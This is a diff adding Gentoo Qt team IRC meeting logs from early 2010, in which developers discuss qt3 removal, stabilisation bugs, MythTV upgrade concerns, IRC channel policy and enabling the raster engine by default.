+[21:15:26] *** Joins: _pesa_ (~Pesa@host91-174-dynamic.244-95-r.retail.telecomitalia.it)
+[21:15:51] *** Quits: hwoarang (~hwoarang@athedsl-405537.home.otenet.gr) (Read error: No route to host)
+[21:15:54] *** Joins: ABCD_ (~ABCD@pool-72-86-43-250.clppva.fios.verizon.net)
+[21:15:56] <yngwin> well, we decided to move all ebuilds over to qt4-r2 eventually, so
+[21:16:14] *** Joins: hwoarang (~hwoarang@athedsl-405537.home.otenet.gr)
+[21:16:31] <yngwin> wired: point 2, did you ever start that discussion with portage team?
+[21:16:36] <wired> i did
+[21:16:38] <wired> they didn't
+[21:16:44] <hwoarang> sorry. network issues
+[21:16:44] <yngwin> ah i c
+[21:16:57] <wired> i sent that email about a month ago
+[21:16:59] <wired> no replies
+[21:17:10] <_pesa_> :(
+[21:17:11] *** ABCD is now known as Guest80
+[21:17:11] *** ABCD_ is now known as ABCD
+[21:17:39] <yngwin> ok, i'll see if i can get some answer out of them
+[21:17:40] * ABCD is annoyed at his network connection
+[21:18:15] <yngwin> anything else about point 2?
+[21:19:11] <yngwin> 3. einfo overload
+[21:19:14] *** Quits: Guest80 (~ABCD@pool-72-86-43-250.clppva.fios.verizon.net) (Read error: Connection reset by peer)
+[21:19:29] <yngwin> > once the faq is written, we will simplify the qt-core einfo even more.
+[21:20:28] <yngwin> ok, i still need to do the faq, so is to be done later
+[21:20:29] *** Quits: hwoarang (~hwoarang@athedsl-405537.home.otenet.gr) (Read error: Connection reset by peer)
+[21:20:54] <spatz> you can start small and we'll all chip in
+[21:20:57] <yngwin> but Qt is now guaranteeing binary compatibility, so i think we will see less of those issues
+[21:21:03] <spatz> on gitorious it's easy
+[21:21:04] *** Joins: hwoarang (~hwoarang@athedsl-405537.home.otenet.gr)
+[21:21:11] <hwoarang> meh
+[21:21:18] <yngwin> spatz: i tried the other day, but i couldnt make a new page
+[21:21:36] <yngwin> i'll try again after the meeting
+[21:21:37] *** Quits: pesa_ (~Pesa@host211-12-dynamic.49-82-r.retail.telecomitalia.it) (Ping timeout: 480 seconds)
+[21:21:49] <yngwin> otherwise i'll just do it in git
+[21:22:27] <yngwin> ah, i was looking at the wrong page. 3 = documentation
+[21:23:06] <yngwin> so yes, if i cant (again) make a new page in the gitorious wiki, i'll just put it under /Documentation/ in the overlay
+[21:23:25] <yngwin> anything else on this point?
+[21:23:47] <hwoarang> i guess not
+[21:23:57] <yngwin> 4. remaining qt3 ebuilds
+[21:24:07] <yngwin> https://bugs.gentoo.org/283429
+[21:24:25] <yngwin> we are making progress, with much thanks to ssuominen as well
+[21:24:41] <hwoarang> indeed
+[21:24:47] <hwoarang> our work is pretty much done
+[21:25:01] <hwoarang> we are either waiting for slacking maintainers or slacking arch members
+[21:25:01] <hwoarang> :P
+[21:25:15] <yngwin> i am still going through http://tinderbox.dev.gentoo.org/misc/rindex/x11-libs/qt and finding packages that have not been added as blockers to our tracker
+[21:27:05] <yngwin> but indeed the biggest issue now is to get those packages stable that still need to be marked stable
+[21:27:14] <yngwin> most importantly scribus and mythtv
+[21:27:22] <hwoarang> yes
+[21:27:30] <hwoarang> should we repoke them?
+[21:27:41] <yngwin> i just asked cardoe today about mythtv
+[21:27:49] <yngwin> he is waiting for deps to be marked stable
+[21:28:06] <yngwin> i asked him to add those as blockers to 299222
+[21:28:12] <yngwin> but maybe we could help him
+[21:29:23] <yngwin> what are your ideas about how to speed up this process? how can we help arches to get there in time?
+[21:29:30] <hwoarang> errr
+[21:29:41] <hwoarang> arches are fine
+[21:29:43] <hwoarang> sparc isnt
+[21:29:58] <hwoarang> i doubt there are many open bugs for amd64 or x86
+[21:30:10] <hwoarang> i am trying to get things done for amd64 at least
+[21:30:34] <yngwin> someone should make a shortlist of packages where we are waiting for a stabilization
+[21:30:49] <hwoarang> ok I will 
+[21:31:36] <yngwin> i suggest we will poke arches once a week for the remaining 4 weeks about these bugs
+[21:31:38] <tampakrap> i'll help
+[21:32:02] *** _pesa_ is now known as pesa_
+[21:32:16] <hwoarang> ok then
+[21:32:58] <spatz> 5?
+[21:33:04] <yngwin> are there any other packages that need special attention?
+[21:33:29] <hwoarang> let me see
+[21:34:14] <hwoarang> no
+[21:34:31] <pesa_> the removal of qt3 USE flag from djvu was reverted...why?
+[21:34:46] <yngwin> because the maintainer is stubborn
+[21:34:49] *** Quits: ABCD (~ABCD@pool-72-86-43-250.clppva.fios.verizon.net) (Read error: Connection reset by peer)
+[21:35:11] <pesa_> what is he waiting for?!
+[21:35:17] <pesa_> :|
+[21:35:49] <spatz> stubborn is one way to describe pva :p
+[21:36:43] *** Joins: ABCD (~ABCD@pool-72-86-43-250.clppva.fios.verizon.net)
+[21:36:44] <yngwin> he'll just have to put up with it when we mask qt:3
+[21:36:57] <ssuominen> yngwin: old qtwvdialer can be dropped btw
+[21:36:59] <spatz> he didn't comment on the bug, why did he revert it?
+[21:37:02] <yngwin> i cant be bothered to argue with him
+[21:37:17] <yngwin> because the qt4 version does not have an nsplugin
+[21:37:30] <spatz> ah, I see in the ChangeLog
+[21:37:32] <spatz> meh
+[21:37:39] <ssuominen> or anyone else (i can't commit the change now)
+[21:39:42] <yngwin> ok, any other remark wrt qt3?
+[21:40:07] <hwoarang> no :)
+[21:40:10] <ssuominen> nothing general
+[21:40:11] <yngwin> ah about dropping qt3 useflags
+[21:40:23] <yngwin> there are several bugs open
+[21:40:26] <ssuominen> hwoarang: but you should search bugzie for "qucs", the snapshot is... bad
+[21:40:41] <yngwin> i already went in and did some ninja edits (as in djvu)
+[21:41:13] <yngwin> if maintainers dont act on the remaining bugs, we should step in, at some point
+[21:41:27] <pesa_> yngwin: may i help by attaching patches in bugzilla for those ones (removing qt3 support)?
+[21:41:38] <pesa_> since i can't commit :P
+[21:41:40] <yngwin> yes please
+[21:42:03] <spatz> not only do you may, but you also should :)
+[21:42:15] <spatz> (not sure if that was english)
+[21:42:26] <yngwin> :)
+[21:42:30] <pesa_> spatz: :D
+[21:42:35] <hwoarang> ssuominen: after all it is a snapshot
+[21:42:45] <hwoarang> but indeed they don't seem alive
+[21:42:54] <tampakrap> why pesa_ can't commit and i can? who made those rules?
+[21:43:07] <yngwin> coz you're a dev
+[21:43:10] <pesa_> heh
+[21:43:39] <pesa_> i don't like doing quizzes ;)
+[21:43:48] <yngwin> just get it over with
+[21:43:50] * ABCD is very annoyed at his connection to the internet (or lack thereof, as the case may be)
+[21:43:51] <spatz> long term investment :)
+[21:44:07] <pesa_> indeed, i should definitely find some time 
+[21:44:24] <yngwin> i know how you feel, it took me 9 months as well
+[21:44:32] <yngwin> but look at me now :p
+[21:44:50] <yngwin> ok, let's move on
+[21:45:06] <yngwin> 5. open bugs
+[21:45:06] <yngwin>     * any long-standing bugs that need fixing?
+[21:45:40] <yngwin> i think http://gitorious.org/gentoo-qt/pages/PriorityBugs needs updating
+[21:45:46] <hwoarang> we have some
+[21:45:48] <spatz> you mean he'll become dutch? that's dangerous
+[21:45:56] <yngwin> 239441 qt-webkit hangs on hppa, needs to be taken upstream
+[21:46:01] <yngwin> anyone volunteering?
+[21:46:13] <pesa_> spatz: lol
+[21:46:24] <hwoarang> yngwin: well I can
+[21:46:28] <yngwin> tnx
+[21:46:34] <hwoarang> also the exceptions bug is still open
+[21:46:42] <yngwin> 240185 qt exceptions <- i think we got an answer there
+[21:46:43] <hwoarang> I got an official answer from upstream but we stack there
+[21:46:47] <hwoarang> yes
+[21:47:06] <yngwin> so can we solve this one?
+[21:47:13] <pesa_> i think so
+[21:47:44] <yngwin> who?
+[21:47:56] <hwoarang> who is willing to ?at least gimme a patch since i am totally lost on this bug
+[21:48:23] <pesa_> we just have to always enable exceptions, right?
+[21:48:31] <hwoarang> yes
+[21:48:45] <pesa_> in qt4-build.eclass then
+[21:48:45] <wired> on all modules?
+[21:48:47] <spatz> just remove the -no-exceptions flag, no?
+[21:48:58] <pesa_> wired: yep
+[21:49:02] <wired> ok i'll fix it
+[21:49:07] <yngwin> great
+[21:49:19] <yngwin> 251290 qt-sql/postgresql failure
+[21:49:32] <hwoarang> wired: fix the eclas on overlay so we can test the live ebuilds first
+[21:49:38] <spatz> just remove lines 414-434...
+[21:50:08] <yngwin> 251290 is resolved
+[21:50:25] <yngwin> 264631 goldendict: has gcc44.patch, live ebuild to be reviewed and added to overlay
+[21:50:31] <yngwin> anyone?
+[21:50:32] <hwoarang> i will take this
+[21:50:34] *** Quits: ssuominen (ssuominen@unk.fi) (Quit: laters)
+[21:50:37] <yngwin> great
+[21:51:11] <yngwin> 283148 is resolved
+[21:51:20] <yngwin> 292337 does qt-webkit require dbus or not? we need someone on a system without dbus to test this!
+[21:51:27] <yngwin> wired was gonna do this
+[21:51:36] <wired> s/was/is
+[21:51:41] <yngwin> yes
+[21:51:42] <wired> gimme a break im building the i5 now :P
+[21:51:44] <hwoarang> tampakrap: ->http://bugs.gentoo.org/show_bug.cgi?id=296624
+[21:51:52] <yngwin> 297299 Qt 4.6.0 stabilization tracker, wait for 4.6.1 release
+[21:51:56] <yngwin> we have 4.6.1 now
+[21:52:04] *** Joins: j0hu (~quassel@g224152105.adsl.alicedsl.de)
+[21:52:05] <yngwin> so we need to crack the blocker bugs
+[21:52:06] <spatz> when should we remove 4.6.0, btw?
+[21:52:18] <yngwin> no rush
+[21:52:22] <hwoarang> not yet
+[21:52:32] <yngwin> let's say in a week or 2
+[21:52:32] <wired> when the next sec vun hits :P
+[21:52:40] <hwoarang> any ideas -> http://bugs.gentoo.org/show_bug.cgi?id=300594
+[21:52:45] <tampakrap> bug 296624 is mine, you can remove qt team from there if you want but it will take some time to get fixed
+[21:53:10] <hwoarang> ok
+[21:53:13] <yngwin> hwoarang: you want to make that a priority?
+[21:53:21] <hwoarang> the QMAKESPEC bug?
+[21:53:46] <yngwin> yes
+[21:54:01] <hwoarang> i might want to make a playground branch on qting-edge to test it
+[21:54:05] <hwoarang> seems valid to me anyway
+[21:54:08] <pesa_> the QMAKESPEC bug needs investigation imho
+[21:54:11] <yngwin> ok
+[21:54:13] <hwoarang> yes
+[21:54:15] <pesa_> it's not easy
+[21:54:24] <hwoarang> yngwin: please add it to priority list
+[21:54:36] <yngwin> you can do that too ;)
+[21:54:53] <pesa_> other packages may break if we add the -64 suffix
+[21:55:15] <hwoarang> i thought that linux-g++ is a symlink
+[21:55:31] <hwoarang> but anyway, i need some time with it
+[21:55:43] <pesa_> it is, if i remember correctly
+[21:55:45] <yngwin> ok, any other bugs need attention?
+[21:56:07] <hwoarang> no
+[21:56:11] <yngwin> ok
+[21:56:14] <yngwin> 6. #gentoo-qt revisited
+[21:56:40] <hwoarang> the one on OFTC or Freenode
+[21:56:42] <hwoarang> ?
+[21:56:52] <spatz> the same network as the rest of gentoo, I assume
+[21:57:02] <yngwin> especially in the light of the recent wave of fail from failnode, i want to propose to make #gentoo-qt on oftc our official channel
+[21:57:21] <hwoarang> this way you force users to use two networks
+[21:57:42] <hwoarang> i think they wont follow us and poke us on -kde whenever needed
+[21:57:47] <ABCD> I thought we were waiting to see if ircd-seven fixes issues with freenode before abandoning them
+[21:58:13] <hwoarang> I propose to stay on -qt on Freenode until they move to the new servers
+[21:58:14] <tampakrap> i thought that too
+[21:58:23] <yngwin> i'm expecting that the switch will lead to more fail, at least in the beginning
+[21:58:26] <hwoarang> just give them a final chance
+[21:58:49] <wired> im in favor of staying to freenode until gentoo decides to leave
+[21:59:05] <spatz> we shouldn't be different than the rest of gentoo
+[21:59:10] <wired> or irc seven succeeds
+[21:59:10] <yngwin> ok
+[21:59:11] <wired> :)
+[21:59:45] <wired> most issues are coming from spamming and attacks
+[21:59:46] <yngwin> but we'll have the oftc channel for backup when failnode is having troubles again
+[21:59:57] <wired> and irc seven looks like a good upgrade
+[21:59:59] <spatz> but why have a separate channel? #-kde isn't really crowded
+[22:00:35] <hwoarang> -qt doesnt need to be crowded as well
+[22:00:36] <yngwin> not really. usually
+[22:00:53] <hwoarang> we used to have qt specific discussions more and more often
+[22:00:54] <hwoarang> :)
+[22:00:55] <wired> well i think that being in -qt doesn't hurt
+[22:00:55] <hwoarang> *use
+[22:01:04] <wired> we do use it for some qt specific stuff tho
+[22:01:11] <yngwin> exactly
+[22:01:15] <wired> and occasionally people do drop by
+[22:01:24] <wired> its rare, but they do :)
+[22:01:26] <hwoarang> they just don't know it exist
+[22:01:27] <yngwin> we had some inter-dev chats about 4.6.1 the other day
+[22:02:17] <yngwin> personally i like having the extra channel just for qt
+[22:02:39] <hwoarang> ok
+[22:02:52] <spatz> the question is whether to make it official or not (get Willikins in there, listing it on the site, etc.)
+[22:03:08] <spatz> we can hang out there, no need for meeting to do that :)
+[22:03:24] <yngwin> yes
+[22:03:46] <yngwin> so what do you guys think about making it official?
+[22:04:03] <spatz> I think we're better off with people coming to #-kde for questions, there are more people and a bigger chance for them to get answers
+[22:04:36] <wired> i say we hold this one off till the next meeting
+[22:04:42] <yngwin> ok
+[22:04:53] <tampakrap> we can make it official but not leave from #-kde (talking to qt-only folks)
+[22:04:57] <yngwin> let's just have it as a hang-out for qt devs for now
+[22:05:02] <hwoarang> qt is a separate project
+[22:05:06] <spatz> great
+[22:05:09] <hwoarang> so it is good to have its own channel
+[22:05:11] <hwoarang> anyway :)
+[22:05:13] <spatz> not every project as a separate channel
+[22:05:14] <ABCD> do we want to get Willikins in there anyway?
+[22:05:15] <yngwin> we will discuss it again next time
+[22:05:25] <spatz> getting willikins is nice, yes
+[22:05:31] <yngwin> yes indeed
+[22:05:33] <spatz> we need to talk to robbat for that?
+[22:05:37] <yngwin> yes
+[22:05:54] <yngwin> ok last point on agendA
+[22:05:58] <yngwin> 7. make raster on by default in live ebuilds
+[22:06:07] <yngwin> i say yes
+[22:06:15] <spatz> me too
+[22:06:26] <wired> i haven't tested it lately so i cant say
+[22:06:27] <spatz> just tested it on another with 4.6.1, it's awesome
+[22:06:37] <yngwin> hwoarang?
+[22:06:48] <wired> from my last tests i'd say no, but its been some time, so whatever you people say :)
+[22:07:03] <tampakrap> can we also hold this off until next meeting? i need to test it too
+[22:07:13] <hwoarang> my only objection is that some ppl ( as I do ) use qt live for development. I want the latest source available but no extra shiny stuff
+[22:07:24] <hwoarang> from this point of view, I say no
+[22:07:38] <yngwin> ok, let's leave it for now and discuss it again next time
+[22:07:52] <yngwin> anything else?
+[22:08:12] <tampakrap> members?
+[22:08:18] <hwoarang> ?
+[22:08:28] <yngwin> you mean the carlo case
+[22:08:31] <spatz> so I'll ask robbat2 on #-dev for Willikins
+[22:08:52] <tampakrap> yes
+[22:08:54] <hwoarang> yngwin: the carlo case is more than a year old
+[22:08:56] <hwoarang> :)
+[22:09:08] <hwoarang> no harm to drop him. I bet he doesnt remember he is on Qt anyway :P
+[22:09:13] <yngwin> anyone opposed to removing him from the project/herd ?
+[22:09:57] <hwoarang> thats a "good to go" i guess
+[22:10:14] <yngwin> ok
+[22:10:14] <spatz> isn't that rude?
+[22:10:17] <pesa_> i guess you tried to contact him and he hasn't answered...
+[22:10:40] <hwoarang> spatz: rude?
+[22:10:54] <spatz> forcing him out like that
+[22:10:54] <yngwin> he has never answered my requests for being at the meeting
+[22:10:57] <hwoarang> how come. he is not active for more than a year
+[22:11:09] <spatz> oh, didn't realize it was that long
+[22:11:16] <yngwin> all devs are required to be at the meeting or let us know they can't make it
+[22:12:00] <yngwin> he has never been on one ever since i became member of qt herd
+[22:12:23] <pesa_> yes, you're right
+[22:12:27] <spatz> ok, so off he goes
+[22:12:44] <yngwin> he can always appeal, and we'll reinstate him if he shows up
+[22:13:15] <yngwin> ok, anything else before we close?
+[22:13:39] <hwoarang> nop
+[22:13:51] <tampakrap> can we remove hwoarang too?
+[22:14:10] <hwoarang> not yet
+[22:14:30] <yngwin> when he's as inactive and non-responsive as carlo, yes
+[22:15:03] <yngwin> ok, thank you all
+[22:15:06] <yngwin> =============================
diff --git a/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100219.txt b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100219.txt
new file mode 100644
index 00000000..ae82e9b4
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/qt/logs/qt-project-meeting-20100219.txt
@@ -0,0 +1,691 @@
+[20:59:26] <ayoy> hai
+[21:01:58] <ABCD> is it that time again?
+[21:02:27] <ayoy> it seems so
+[21:03:10] *** Joins: spatz (~spatz@gentoo/developer/spatz)
+[21:04:04] <spatz> qt meeting :D
+[21:04:24] <ayoy> yeah, let's meet ;)
+[21:04:33] *** Joins: yngwin (~yngwin@gentoo/developer/yngwin)
+[21:04:41] *** Joins: jmrk_ (~jmrk@dslb-088-064-088-198.pools.arcor-ip.net)
+[21:04:54] <spatz> so who's here?
+[21:05:07] * ayoy is here
+[21:05:11] * ABCD is here
+[21:05:31] * yngwin 
+[21:06:08] <spatz> so yngwin and hwoarang too
+[21:06:11] * reavertm just watching men at work
+[21:06:20] <spatz> where's wired and tampakrap?
+[21:06:23] <hwoarang> im here
+[21:06:25] <yngwin> !herd qt
+[21:06:27] <willikins> (qt) abcd, ayoy, hwoarang, spatz, tampakrap, wired, yngwin
+[21:06:30] *** Joins: far_jump (~wizard@pool-71-252-110-24.washdc.east.verizon.net)
+[21:06:43] <yngwin> tampakrap is absent as announced
+[21:07:08] <yngwin> so just wired and pesa 
+[21:07:16] <spatz> ah, pesa, right
+[21:07:32] *** Joins: Vtester (~loukas@ppp079166118025.dsl.hol.gr)
+[21:07:34] <yngwin> agenda is at http://gitorious.org/gentoo-qt/pages/Meeting20100218
+[21:08:31] *** scarabeus sets mode: +o yngwin
+[21:08:38] <yngwin> ok, others will show up later i hope
+[21:08:39] <hwoarang> sweet
+[21:08:46] <yngwin> let's get started
+[21:09:01] *** Quits: Vtester (~loukas@ppp079166118025.dsl.hol.gr) (Client Quit)
+[21:09:02] <wired> oioi
+[21:09:09] <wired> when did it get to 9pm
+[21:09:12] <wired> stupid time :P
+[21:09:14] *** yngwin changes topic to 'Gentoo Qt team meeting now |'
+[21:09:16] <spatz> date -u
+[21:09:16] <wired> im here :)
+[21:09:27] *** yngwin changes topic to 'Gentoo Qt team meeting now | agenda: http://gitorious.org/gentoo-qt/pages/Meeting20100218'
+[21:09:35] *** Joins: Vtester (~loukas@ppp079166118025.dsl.hol.gr)
+[21:09:43] <hwoarang> nice
+[21:09:45] <yngwin> wired: you logging?
+[21:09:48] <wired> yeap
+[21:09:58] <yngwin> good, let's get started
+[21:10:01] <yngwin> 1. raster on by default?
+[21:10:11] <wired> i hear kde is still a bit glitchy
+[21:10:14] <wired> w/ raster
+[21:10:25] <yngwin> works fine here, but reavertm reported glitches
+[21:10:28] <spatz> is this about turning it on by default in the tree or the overlay?
+[21:10:30] <ABCD> I haven't tried it in a while
+[21:10:35] <yngwin> spatz: tree
+[21:10:49] <reavertm> not glitches, crashes
+[21:10:51] <hwoarang> I would say to wait for 4.7
+[21:10:57] <reavertm> but quite infrequent
+[21:11:08] <wired> i haven't tested it so i can't have a personal preference, but after talking with reavertm, maybe 4.7 is a better target
+[21:11:10] <yngwin> ok, i agree with hwoarang
+[21:11:12] <spatz> works great on three machines I've checked, but they're all nvidia so I don't know if it's representative
+[21:11:15] <ayoy> still it seems like we should wait
+[21:11:28] *** Quits: Vtester (~loukas@ppp079166118025.dsl.hol.gr) (Read error: Connection reset by peer)
+[21:11:31] <spatz> maybe turn it on by default for all the overlay ebuilds
+[21:11:37] <yngwin> seems we agree, let's wait and re-evaluate when 4.7 is released
+[21:11:49] <wired> breaking the overlay would be interesting
+[21:11:50] <hwoarang> is there warning still present on live ebuilds?
+[21:11:50] <wired> :p
+[21:11:55] <reavertm> you know, kde guys tend to abuse every api they put their hands on, so...
+[21:12:01] <hwoarang> i dont mind playing around with live ebuilds
+[21:12:11] <yngwin> there should be no warning about raster, just useflag description
+[21:12:21] <hwoarang> as long as we use a warning message to let users know about this 
+[21:12:38] <yngwin> in live ebuilds? we could do that
+[21:12:48] <hwoarang> if we agree to enable that use flag by default, i would like to use a way to inform the users
+[21:12:56] <hwoarang> otherwise they might not notice it
+[21:12:56] *** Joins: ssuominen (~ssuominen@gentoo/developer/ssuominen)
+[21:13:04] <wired> oh they'll notice
+[21:13:09] <hwoarang> i wouldnt
+[21:13:16] <hwoarang> since i blindly build the live packages every day
+[21:13:31] <wired> you wouldn't notice a sudden 12ebuild USE change?...
+[21:13:33] <yngwin> yes, i agree we should inform them, also because we want feedback
+[21:13:43] <hwoarang> ^
+[21:13:54] <spatz> only qt-gui would change
+[21:14:03] <hwoarang> whatever
+[21:14:03] <hwoarang> :)
+[21:14:09] <wired> spatz: right, i was thinking exceptions-style :P
+[21:14:17] <yngwin> maybe an einfo "Raster is turned on by default in live ebuilds, please let us know if you have any problems"
+[21:14:18] *** Joins: Vtester (~loukas@ppp079166118025.dsl.hol.gr)
+[21:14:23] <hwoarang> sure !
+[21:14:28] <wired> yngwin: sounds good
+[21:14:32] <yngwin> ok
+[21:14:55] <yngwin> i'm planning to start using live trunk now until we have 4.7 pre-release
+[21:15:03] <hwoarang> scary!
+[21:15:11] <ABCD> yngwin: I would suggest an elog instead of an einfo :)
+[21:15:12] <wired> its been a while since i last used a trunk version
+[21:15:14] <yngwin> 4.7 went into feature freeze today
+[21:15:22] <yngwin> ABCD: yes, that's better
+[21:15:24] <wired> but i now have chroots so i can do that toot :)
+[21:15:25] <wired> too*
+[21:15:40] <hwoarang> we should redistribute the live packages again at some point
+[21:15:48] <hwoarang> i doubt that all of them get tested
+[21:16:07] <yngwin> hmm, how would you redistribute em?
+[21:16:10] <wired> they probably aren't but they are live ebuilds
+[21:16:20] <wired> even if they occasionally break i don't see any harm done
+[21:16:27] <hwoarang> yngwin: i mean that you should take the 4.9999 one, me the 4.6.9999 etc
+[21:16:36] <yngwin> ah ok
+[21:16:56] <wired> hwoarang: we can do this over mail like last time
+[21:17:00] <hwoarang> just to make sure that all of them are in a good shape and that we have at least one pc that uses every version
+[21:17:02] <yngwin> well, i can take on 4.9999 for now, until 4.7 is branched
+[21:17:23] <hwoarang> wired: i think we should write this down since I always forget who maintains what
+[21:17:38] <hwoarang> wiki seems a good place to me
+[21:17:50] <yngwin> indeed
+[21:18:03] <hwoarang> we will take about this over mail 
+[21:18:03] <yngwin> let's put it in the wiki
+[21:18:08] <hwoarang> or
+[21:18:15] <hwoarang> we can edit the wiki ourselves
+[21:18:24] <yngwin> ok, shall we move to point 2?
+[21:18:27] <hwoarang> sure
+[21:18:31] <wired> devs testing ebuilds can just add themselves on the wiki
+[21:18:33] <wired> :)
+[21:18:40] <yngwin> exactly
+[21:18:43] <yngwin> 2. gentoo-qt irc channel
+[21:18:43] <hwoarang> yes that is better
+[21:19:06] <yngwin> we spoke about this already, and i think most of us agree to use #gentoo-qt as our devroom
+[21:19:11] <wired> +1
+[21:19:12] <ayoy> yes yes yes!
+[21:19:21] <hwoarang> ofc
+[21:19:21] <wired> if anyone drops by we can help them as well
+[21:19:27] <ayoy> it's so nice over here, so calm and quiet :)
+[21:19:29] <reavertm> ayoy: you're not funny! :P
+[21:19:29] <wired> but i like how its pure Qt talk
+[21:19:31] <spatz> better to direct them to #-kde
+[21:19:40] <wired> or if you prefer
+[21:19:42] <yngwin> but user support is still prefered to go to -desktop or -kde
+[21:19:43] <wired> pure Qute talk
+[21:19:43] <ayoy> reavertm: I'm just feeling safe over there :P
+[21:19:44] <wired> :P
+[21:20:01] <yngwin> :)
+[21:20:05] <hwoarang> yngwin: if this is the case, why are we using this channel?
+[21:20:08] <hwoarang> just for dev talk?
+[21:20:12] <wired> ...
+[21:20:19] <spatz> hwoarang: to not make a mess of #-kde
+[21:20:26] <yngwin> which channel?
+[21:20:30] <hwoarang> this one
+[21:20:31] <spatz> but there's no reason to have a million support channels, one is enough
+[21:20:37] <hwoarang> which one
+[21:20:38] <reavertm> I don't think you can provent mess on -kde
+[21:20:42] *** Parts: Vtester (~loukas@ppp079166118025.dsl.hol.gr)
+[21:20:42] <reavertm> pre*
+[21:20:48] <yngwin> this one is for gentoo meetings, it's more generic
+[21:20:50] <hwoarang> you stated above that you will redirect them on -kde or desktop
+[21:20:51] <spatz> de-mess #-kde :)
+[21:20:54] <hwoarang> sorry
+[21:20:55] <hwoarang> the -qt
+[21:20:58] <wired> for dev talk!
+[21:21:02] <hwoarang> ok
+[21:21:08] <yngwin> #-qt is for dev talk
+[21:21:13] <hwoarang> gotcha
+[21:21:29] <reavertm> I don't think you need one, there's no gentoo-gtk channel after all
+[21:21:34] <yngwin> as #-kde can get quite busy 
+[21:21:35] <hwoarang> :P
+[21:21:39] <wired> reavertm: we actually use it
+[21:21:50] <wired> reavertm: and we like how quiet it is
+[21:21:51] <wired> :P
+[21:21:57] <yngwin> we generate more discussion than the gnome team
+[21:21:59] <reavertm> so why debating his topic?
+[21:22:02] <ayoy> plus Qt and surroundings is growing
+[21:22:22] <yngwin> we debate it because it wasnt official before
+[21:22:31] <yngwin> it has grown this way in recent months
+[21:23:08] <yngwin> alright
+[21:23:17] <yngwin> 3. qt:3 removal
+[21:23:34] <yngwin> the big mask is scheduled for this sunday
+[21:23:58] <yngwin> it looks like we are mostly on track
+[21:24:06] <yngwin> except for mythtv
+[21:24:29] <yngwin> ssuominen, scarabeus: does QA have anything to say about this?
+[21:25:13] <hwoarang> any bug # for mythtv?
+[21:25:48] <yngwin> yes bug 299222
+[21:25:50] <willikins> yngwin: https://bugs.gentoo.org/299222 "Please mark media-tv/mythtv-0.22-p23069 stable"; Gentoo Linux, Ebuilds; NEW; rich0@g.o:cardoe@g.o
+[21:26:37] <yngwin> basically someone who knows mythtv should write a news item pointing to instructions on database upgrade issues
+[21:27:03] <ssuominen> i'd like to see gambas bumped without USE="qt3", wpa_supplicant cleaned up (the versions with still USE="qt3" removed) and then there is mythtv...
+[21:27:03] <hwoarang> i doubt that we can sort this out till sunday
+[21:27:25] <ssuominen> and avoid all the use.masking of qt3 flag as unnecessary
+[21:27:52] <yngwin> ssuominen: we will just mask the qt3 useflag, so that should not generate problems afaik, but mythtv is a bigger issue
+[21:28:15] <ssuominen> if gambas and wpa_supplicant is handled, the use.masking is unnecessary
+[21:28:30] <ssuominen> and kde-sunset users don't get screwed :)
+[21:28:38] <yngwin> hmm
+[21:28:59] <yngwin> i was planning on getting some files ready for sunset users anyway
+[21:30:06] <yngwin> so what's the plan for mythtv?
+[21:30:28] <yngwin> the maintainer has said he has no time to write a news item
+[21:30:53] <hwoarang> silense
+[21:30:54] <hwoarang> :P
+[21:31:01] <yngwin> he would even be okay with just marking the new version stable
+[21:31:51] <wired> that would take some time, no?
+[21:32:20] <yngwin> its just 3 arches
+[21:32:38] <yngwin> i think it could be done in a week
+[21:32:55] <yngwin> IF, and thats a big IF, someone can take care of the news item first
+[21:33:22] <wired> well someone has to try new mythtv first, has anyone done that?
+[21:33:30] <yngwin> yes plenty
+[21:33:53] <wired> so write the news item! :P
+[21:34:23] <yngwin> i havent and i dont know which instructions are the right ones
+[21:34:33] <wired> ah 
+[21:34:37] <wired> i thought _you_ had
+[21:34:37] <yngwin> all i can do is refer ppl to the comments on the bug
+[21:34:50] <yngwin> no then it would already be taken care of
+[21:35:05] <wired> right
+[21:35:13] <yngwin> i know that ppl have, as can be seen in the comments on the bug
+[21:35:16] <wired> so we _must_ take care of it to remove qt3...
+[21:35:33] <yngwin> "I HIGHLY recommend publishing a HOWTO or a news item regarding the utf8 issues,
+[21:35:33] <yngwin> unless they no longer exist.  Otherwise everybody who just does an emerge -u
+[21:35:33] <yngwin> world is going to end up with a ruined mythtv database with no easy recovery
+[21:35:33] <yngwin> path.  "
+[21:36:09] <yngwin> "My understanding is that if you DON'T run the manual database fixes (which will
+[21:36:09] <yngwin> be required for anybody who has been running stable on gentoo for more than a
+[21:36:09] <yngwin> year or two), you end up with a mix of text encodings in the database, and that
+[21:36:09] <yngwin> is pretty-much unrecoverable (without a lot of manual cleanup)."
+[21:37:48] <yngwin> personally i see two choices: (1) leave qt:3 itself and mythtv unmask for a little longer, or (2) mask all of mythtv until this is sorted
+[21:38:04] <hwoarang> meh
+[21:38:06] <wired> mmm
+[21:38:17] <wired> well we're stalling here
+[21:38:42] <wired> maybe (1) is a better option for our users
+[21:38:58] <yngwin> i prefer option 1, but then i want someone promising me this will be taken care of within say the next two weeks
+[21:39:30] <spatz> !meta mythtv
+[21:39:32] <willikins> spatz: Package: media-tv/mythtv Herd: mythtv Maintainer: cardoe@gentoo.org, (Maint-desc: Do not CC me on bugs)
+[21:39:36] <yngwin> as things stand now, i consider mythtv maintainer-needed and that forces me to go  for option 2
+[21:40:01] <spatz> !herd mythtv
+[21:40:02] <willikins> spatz: (mythtv) beandog, cardoe, tanderson
+[21:40:13] <spatz> maybe beandog or tanderson can do something?
+[21:40:32] <hwoarang> doubtful
+[21:40:51] <yngwin> beandog is still on pre-current stable
+[21:41:03] <yngwin> tanderson could in principle
+[21:41:43] <yngwin> i'll write an email to mythtv herd then and let them make the choice
+[21:41:52] <hwoarang> ok
+[21:42:01] <wired> we could... extend the qt mask for one week, open a forum item and/or bug about it requesting info on the upgrade path
+[21:42:06] <wired> then just mask if noone cares enough
+[21:42:40] <yngwin> the bug was opened almost two months ago, no one has cared so far
+[21:42:48] <wired> i was hoping for users not devs
+[21:43:07] <yngwin> yes, the only helpful feedback on the bug is from users
+[21:43:26] <yngwin> but we could open a forum thread either way
+[21:44:39] <spatz> so what's the decision, the masking is postponed in the mean time?
+[21:44:54] <hwoarang> i 'd say so
+[21:45:19] <yngwin> i'd say we go ahead unless we get positive feedback that mythtv will be fixed soon
+[21:45:59] <yngwin> they have known this for 6 months now
+[21:46:38] <spatz> they=cardoe?
+[21:46:52] <yngwin> yes, and the other herd members
